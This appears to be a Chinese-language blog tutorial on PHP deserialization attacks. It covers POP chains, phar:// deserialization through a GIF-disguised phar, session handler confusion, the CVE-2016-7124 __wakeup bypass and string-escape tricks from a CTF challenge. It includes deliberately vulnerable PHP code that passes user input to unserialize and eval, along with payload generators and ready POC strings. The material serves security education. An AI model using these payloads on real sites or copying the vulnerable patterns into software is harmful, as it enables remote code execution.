PHP反不懂序列化
PHP的序列化和反序列化
基本介绍
序列化就是serialize(),将对象转换为字节序列,这个过程称为序列化
反序列化就是unserialize(),将对象转换的字节序列恢复成对象,这个过程叫做反序列化
在序列化过程中一般需要区分的是protected和private,基本含义和C++一致,protected在序列化的时候,字段名称前面会加上\x00*\x00的前缀,表示ASCII为0的不可见字符,需要python传值;而private需要添加\0\0的前缀,同时长度也包括前缀\x00,即\x00也计算长度
<?php
class test{
public $t1 = "test1";
private $t2 = "test2";
protected $t3 = "test3";
}
$test = new test();
echo serialize($test);

private属性的具体序列化是\x00+classname+\x00+name
漏洞原理
漏洞一般都是unserialize函数的参数可控且同时php文件中存在魔术方法等可以利用的函数、可以利用的类
常用魔术方法有
| 魔术方法 | 作用 |
|---|---|
| __construct | 构造函数,创建函数的时候初始化 |
| __destruct | 析构函数,在对象销毁的时候触发 |
| __toString | 在对象被当作字符串调用,把类当作字符串使用的时候触发,echo打印对象就会调用此方法 |
| __wakeup | 使用unserialize时触发,反序列化恢复对象之前触发 |
| __sleep | 使用serialize时触发,在对象被序列化前自动触发,该函数需要返回以类成员变量名作为元素的数组(只有出现在该数组元素的类成员才会被序列化) |
| __call | 在对象中调用不可访问的方法时触发,即调用对象中不存在的方法会自动调用该方法 |
| __callStatic | 在静态上下文中调用不可访问的方法时触发 |
| __get | 读取不可访问的属性时会被调用(包括私有属性或者没有初始化的属性) |
| __set | 在给不可访问属性赋值时,即在调用私有属性的时候会自动执行 |
| __isset | 当对不可访问属性调用isset()或empty()时自动触发 |
| __unset | 当对不可访问属性调用unset()时触发 |
| __invoke | 当脚本尝试将对象调用为函数时触发 |
__toString的触发场景:
(1) echo(\(obj) / print(\)obj) 打印时会触发
(2) 反序列化对象与字符串连接时
(3) 反序列化对象参与格式化字符串时
(4) 反序列化对象与字符串进行比较时(PHP进行比较的时候会转换参数类型)
(5) 反序列化对象参与格式化SQL语句,绑定参数时
(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8) 反序列化的对象作为 class_exists() 的参数的时候
简单样例
最常规的destruct销毁配合反序列化
<?php
class test{
var $text = "text";
function __destruct(){
echo $this->text;
}
}
$test = $_GET['test'];
$test2 = unserialize($test);

可以预先控制echo的变量,也可以实现一些XSS弹出

相对复杂一点简易的POP链大概如下
<?php
class test{
var $name;
function __construct(){
$this->name = new name();
}
function __destruct(){
$this->name->fun();
}
}
class name{
function fun(){
echo "have fun!";
}
}
class Vuln{
var $cmd;
function fun(){
eval($this->cmd);
}
}
$test = $_GET['test'];
unserialize($test);
序列化代码
<?php
class test{
var $name;
function __construct(){
$this->name = new Vuln();
}
}
class Vuln{
var $cmd = "phpinfo();";
}
echo serialize(new test());

大概就是主要是是依赖于__destruct,将其反序列化的结果更改为调用另外一个class的相同函数的样子,同时额外提供phpinfo();这种恶意代码的赋值,然后造成__destruct()的时候出现调用并非name函数而是Vuln函数的情景,产生代码执行漏洞
从网上找一个简单的POP链分析
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['d']);
lemon调用normal,但是evil也有action,因此可以构造pop链,调用evil的action方法
序列化代码
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
poc为O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
总而言之,在反序列化中,如果关键代码不在本类的魔术代码中,而是在其余类的普通代码中,可以通过寻找相同函数名将类的属性和敏感函数进行连接
其中主要用到的函数方法:
命令执行:exec() passthru() popen() system()
文件操作:file_put_contents() file_get_contents() unlink()
代码执行:eval() assert() call_user_func()
phar反序列化
php反序列化的攻击面海报过了phar伪协议,它使用用户自定义的meta-data序列化的形式存储
phar由四个部分组成,分别是
-
stub
表示作用,格式为xxx<?php xxx;__HALT_COMPILER();?>前面没有限制,但是结尾必须是__HALT_COMPILER();,以确保php识别phar伪协议
-
manifest describing the contents
本质上phar协议是一个压缩文件,相关信息都在这一部分,同样还以序列化形式存储用户自定义的meta-data,也就是攻击利用的地方

-
the file contents
被压缩的内容
-
签名
在测试生成phar文件的时候需要先把php.ini的phar.readonly设置为off
<?php
class test{
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new test();
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
明显可以看到meta-data是以序列化形式存储的,而反序列化一般都是文件函数再通过phar://伪协议解析phar的时候发生

简单证明一下

因此可以证明,在调用file_get_contents等文件系统函数的时候,发生反序列化
同样,上面也提到phar通过确定stub来识别自身身份,也就是php识别phar仅仅通过后缀的代码,因此可以添加任意文件头并且修改后缀将任意格式伪装成phar
在setStub的时候前面加上对应的前缀,比如GIF
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
这样其实它本质上是个GIF image图片
phar的利用条件主要是:phar文件可以上传到服务器端;和正常的反序列化一样,要存在魔术方法作为跳板,或者存在POP链;文件操作函数的参数可控,且过滤不周
小样例
upload_file.php:
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else{
echo "Invalid file,you can only upload gif";
}
?>
upload_file.html
<body>
<form action="http://localhost//test//upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
file_un.php
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename); // 漏洞点
?>
大致思路就是限制了上传的文件类型为gif,且后缀为gif,而漏洞点在file_un.php,和前面正常php反序列化差不多
基本上就是伪造gif,然后手动改后缀,最后利用file_un.php使用phar协议来反序列化rce:
<?php
class AnyClass{
var $output = "phpinfo();";
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$test = new AnyClass();
$phar->setMetadata($test);
$phar->stopBuffering();

PHP Session反序列化
主要原因是使用不同的引擎处理Session
<?php
ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
//传入shy
php : lemon|s:3:"shy";
php_serialize : a:1:{s:5:"lemon";s:3:"shy";}
php_binary : lemons:3:"shy";
大概就是我最开始传入的时候使用php_serialize,而接受的时候使用php,php会把|认为是键名和值的分隔符,因此造成了歧义,则对|后的值进行了反序列化处理
CVE-2016-7124 绕过__wakeup()反序列化
这个之前CTF还比较常见,基本上就是__wakeup()会有一些限制函数,需要绕过,只需要把序列化字符串中表示对象属性个数的值大于真实个数即可
漏洞涉及版本 php5 < 5.6.25 | php7 < 7.0.10
PHP反序列化对象逃逸
在花括号后面的字符会逃逸出去,比如'a:2:{i:0;s:7:"bmjoker";i:1;s:4:"haha";}qwe123'中qwe123就会逃逸出去
使用原理大概如下

如果额外过滤flag,因为强制寻找24个字符

后面则依次,最后的字符忽略,最后也就大概变成了
$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';
比如2019安洵杯这个php
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
phpinfo()中藏了flag.php的名称
而如果想要逃逸基本上两种方法,第一个是两个连续的键值对,经过过滤,把我们构造的第一个的值覆盖掉第二个的键
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
var_dump结果为
"a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
其中dd:a后面的都是多余的了,因为一共只有三个键值对,分别是user img和function,它的最大限制是3,后面都是多余的字符
或者采用一个键值对,通过过滤得到一个单独的
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
var_dump结果为
"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
大概就是过略掉了flagphp这7个,然后会向后要七个,恰巧构造到img前面,完成逃逸

浙公网安备 33010602011771号